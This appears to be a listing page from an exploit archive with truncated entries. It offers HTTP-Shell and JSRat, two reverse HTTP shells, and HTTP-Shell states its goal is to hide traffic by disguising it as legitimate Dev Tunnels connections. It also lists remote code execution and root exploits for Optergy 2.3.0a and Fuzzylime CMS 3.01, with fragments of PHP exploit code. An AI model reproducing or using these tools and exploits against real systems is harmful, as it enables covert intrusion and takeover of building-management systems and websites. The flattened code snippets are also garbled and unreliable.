HTTP-Shell

HTTP-Shell HTTP-Shell 은 멀티플랫폼 리버스 셸입니다. 이 도구는 HTTP를 통한 리버스 연결에서 셸과 유사한 인터페이스를 얻을 수 있도록 도와줍니다. 다른 리버스 셸과 달리, 이 도구의 주요 목표는 Microsoft Dev Tunnels와 함께 사용하여 합법적인 연결에 최대한 가까운 연결을 확보하는 것입니다. 이 셸은 완전히 대화형은 아니지만, 오류를 화면에 표시하며Windows와 Linux 모두, 파일 업로드 및 다운로드, 명령 기록, 터미널 정리CTRL+L 포함, 자동 재연결, 디렉터리 이동을 지원하고...

HTTP-Shell - MultiPlatform HTTP Reverse Shell

HTTP-Shell is Multiplatform Reverse Shell. This tool helps you to obtain a shell-like interface on a reverse connection over HTTP. Unlike other reverse shells, the main goal of the tool is to use it in conjunction with Microsoft Dev Tunnels, in order to get a connection as close as possible to a...

Optergy 2.3.0a - Remote Code Execution

Optergy 2.3.0a - Remote Code Execution Title: Optergy 2.3.0a - Remote Code Execution Author: LiquidWorm Date: 2019-11-05 Vendor: https://optergy.com/ Product web page: https://optergy.com/products/ Affected version: =2.3.0a Advisory: https://applied-risk.com/resources/ar-2019-008 Paper:...

Optergy 2.3.0a Remote Root

!/usr/bin/env python -- coding: utf8 -- Authenticated File Upload in Optergy gaining Remote Root Code Execution Firmware version: =2.3.0a CVE: CVE-2019-7274 Advisory: https://applied-risk.com/resources/ar-2019-008 Paper: https://applied-risk.com/resources/i-own-your-building-management-system...

Optergy 2.3.0a - Remote Code Execution

Title: Optergy 2.3.0a - Remote Code Execution Author: LiquidWorm Date: 2019-11-05 Vendor: https://optergy.com/ Product web page: https://optergy.com/products/ Affected version: =2.3.0a Advisory: https://applied-risk.com/resources/ar-2019-008 Paper:...

JSRat - Reverse HTTP Shell Using JavaScript

JSRat is a reverse HTTP Shell by using JavaScript. JSRat use rundll32.exe to load the JavaScript code in cmd and a HTTP Shell is returned when the code is executed. The special part is that after running the cmd command, rundll32.exe will remain in the background to continuously connect to the...

fuzzylime301-execphp.txt

!/usr/bin/php ' ; $shell = new phpreter$url.'code/polls/titles.inc.php', '-:-:-.-:-:-', 'cmd', array, false; function get$url $infos = parseurl$url; $host = $infos'host'; $port = isset$infos'port' ? $infos'port' : 80; $fp = fsockopen$host, $port, &$errno, &$errstr, 30; $req = "GET $url...

fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)

No description provided by source. !/usr/bin/php ?php Fuzzylime 3.01 Remote Code Execution Credits: Inphex and real C:\ php fuzzylime.php http://www.target.com/fuzzylime/ targetcmd id uid=63676dswrealty gid=888vusers groups=33www-data $url = $argv1;...

Fuzzylime CMS 3.01 - poll Remote Code Execution (PHP)

Fuzzylime CMS 3.01 - poll Remote Code Execution PHP !/usr/bin/php ' ; $shell = new phpreter$url.'code/polls/titles.inc.php', '-:-:-.-:-:-', 'cmd', array, false; function get$url $infos = parseurl$url; $host = $infos'host'; $port = isset$infos'port' ? $infos'port' : 80; $fp = fsockopen$host, $port...